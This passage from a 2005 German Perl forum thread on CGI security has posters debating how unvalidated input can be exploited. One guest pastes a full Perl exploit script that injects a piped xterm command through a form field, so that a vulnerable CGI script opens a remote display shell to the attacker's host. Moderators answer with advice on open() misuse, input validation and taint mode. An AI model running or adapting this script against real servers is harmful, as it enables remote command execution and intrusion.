Schrift
Wiki:Tipp zum Debugging: use Data::Dumper; local $Data::Dumper::Useqq = 1; print Dumper \@var;
[thread]624[/thread]

CGI Sicherheit: Vermeidung gefährlicher Inhalte (Seite 10)

Leser: 2


<< |< 1 ... 7 8 9 10 11 12 13 ... 17 >| >> 166 Einträge, 17 Seiten
Gast Gast
 2005-12-18 17:23
#6208 #6208
[quote=Dubu,17.12.2005, 22:32]Bauhaus scheint bisher nur recht vage Vorstellungen davon zu haben, vor welcher Art von Angriffen er sich jetzt schuetzen moechte.[/quote]
Das ist absolut richtig.
Ich habe nur sehr begrenzte Vorstellungen darüber, was ein Angreifer anstellen kann/könnte.
Von daher versuche ich, alle Usereingaben die 'irgendwie ausführbar' sein könnten, schon im Vorfeld auszuschalten.
Antworten mit Zitat
Gast Gast
 2005-12-18 17:28
#6209 #6209
[quote=esskar,16.12.2005, 21:06]ohne eval, kein exploit![/quote]
Es geht auch ohne 'eval'
Hier ein Beispiel.
(und das ist noch eines von den wirklich 'harmlosen')
Code: (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/perl

## This exploit will spawn a xterm from $target to $attacker.

use strict;
use warnings;
use Socket;

if (@ARGV < 3) {
print("Usage: $0 <target> <attacker> <dpy>\n");
exit(1);
}

my($target, $attacker, $dpy, $length, $cgicode,
$agent, $sploit, $iaddr, $paddr, $proto);

($target, $attacker, $dpy) = @ARGV;

if ($dpy !~ /\d/) {
print("dpy must be a number, probably 0\n");
exit(1);
}

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/sub_dir/the_victim_script.pl\n");
print("Command: xterm -ut -display $attacker:$dpy\n\n");

system("xhost + $target");

$length = 138 + length($attacker.$dpy);

$cgicode =
"flag1=1&fromfile=%7Cxterm+-display+$attacker%3A$dpy%7C&placebid=1&catdir".
"=cat1&username=teleh0r&password=ohbaby&bid=Ihavenomoney&nobiditem=1&sbut".
"ton=BID";

$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

# The path to the_victim_script.pl may of course need to be changed.

$sploit=
"POST /cgi-bin/sub_dir/the_victim_script.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$cgicode";

$iaddr = inet_aton($target) or die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr) or die("Error: $!\n");
$proto = getprotobyname('tcp') or| die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
connect(SOCKET, $paddr) or die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0) or die("Error: $!\n");
close(SOCKET);

sleep(3);
system("xhost - $target");
print("\nAll done - hopefully you got the flying xterm!\n");
exit(0)
Antworten mit Zitat
esskar
 2005-12-18 18:00
#6210 #6210
User since
2003-08-04
7321 Artikel
ModeratorIn

user image
jetzt begründe mir mal, warum das funktionieren sollte.
Antworten mit Zitat
Gast Gast
 2005-12-18 19:33
#6211 #6211
[quote=esskar,18.12.2005, 17:00]jetzt begründe mir mal, warum das funktionieren sollte.[/quote]
Sorry - ich hab den Code nicht geschrieben.
Aber das Teil funktioniert offensichtlich immer dann, wenn innerhalb des attackierten Skripts ein 'open' ohne '<' erfolgt.
Hatte ja schon gesagt: das ist einer von den harmlosen ;)
Antworten mit Zitat
esskar
 2005-12-18 19:40
#6212 #6212
User since
2003-08-04
7321 Artikel
ModeratorIn

user image
naja... das programm schickt daten an den server.
warum soll dort eine datei aufgemacht werden? und warum sollen die daten abgespeichert werden.

dran sieht man mal, dass deine vermutungen einfach aus der luft gegriffen sind. du siehst einen exploit und vermuttest, dass man damit überall schaden anrichten kann. das ist aber quatsch.
Antworten mit Zitat
Gast Gast
 2005-12-18 20:37
#6213 #6213
[quote=esskar,18.12.2005, 18:40]naja... das programm schickt daten an den server.
warum soll dort eine datei aufgemacht werden? und warum sollen die daten abgespeichert werden.

dran sieht man mal, dass deine vermutungen einfach aus der luft gegriffen sind. du siehst einen exploit und vermuttest, dass man damit überall schaden anrichten kann. das ist aber quatsch.[/quote]
Na dann teste den 'quatsch' doch einfach mal ...
bin gespannt.
Antworten mit Zitat
esskar
 2005-12-18 21:43
#6214 #6214
User since
2003-08-04
7321 Artikel
ModeratorIn

user image
überleg doch mal.
es würde nur was bringen, wenn das script den parameter
fromfile als parameter der open function verwenden würde. sonst nie. und wie wir hier schon oft beschrieben haben, gibt es keinen grund, daten von außen zu trauen ohne ihn vorher auf richtigkeit zu prüfen.
Antworten mit Zitat
esskar
 2005-12-18 21:45
#6215 #6215
User since
2003-08-04
7321 Artikel
ModeratorIn

user image
[quote=Bauhaus,16.12.2005, 17:46]Mit '>' schreibe ich doch tatsächlich in ein File(handle) - oder habe ich dich da mißverstanden?[/quote]
nein, du öffnest )in verbindung mit open) ein file zum schreiben.
die open funktion liefert dir dann ein handle auf das file => ein filehandle.
Antworten mit Zitat
esskar
 2005-12-18 21:47
#6216 #6216
User since
2003-08-04
7321 Artikel
ModeratorIn

user image
[quote=Bauhaus,17.12.2005, 16:36]Vergiss das mit der Extension mal ...
Das Ding funktioniert auch (und gerade) unter Linux (hat mir aktuell , vor einer Stunde, jemand vorgeführt).
Allerdings war der Mensch nicht so nett mir zu sagen warum das funktioniert hat - Arggghhh

Edit:
hab vergessen zu erwähnen das er so nett war, nur die von mir vorgegebene Datei auf dem Server zu löschen.
Ist das Leben nicht schön?[/quote]
aha. du hast also einen server gehackt.
und das soll man dir jetzt glauben? ???
Antworten mit Zitat
ptk
 2005-12-18 22:24
#6217 #6217
User since
2003-11-28
3645 Artikel
ModeratorIn
[default_avatar]
[quote=Dubu,17.12.2005, 22:32]@ptk: Nullbyte und Slash (/) sind nicht erlaubt in Unix-Dateinamen.[/quote]Natürlich.
Quote
Und der schon mehrfach gefallene Ratschlag "traue grundsaetzlich keinen Benutzereingaben!"
perl -T hilft!
Antworten mit Zitat
<< |< 1 ... 7 8 9 10 11 12 13 ... 17 >| >> 166 Einträge, 17 Seiten



View all threads created 2005-12-12 17:10.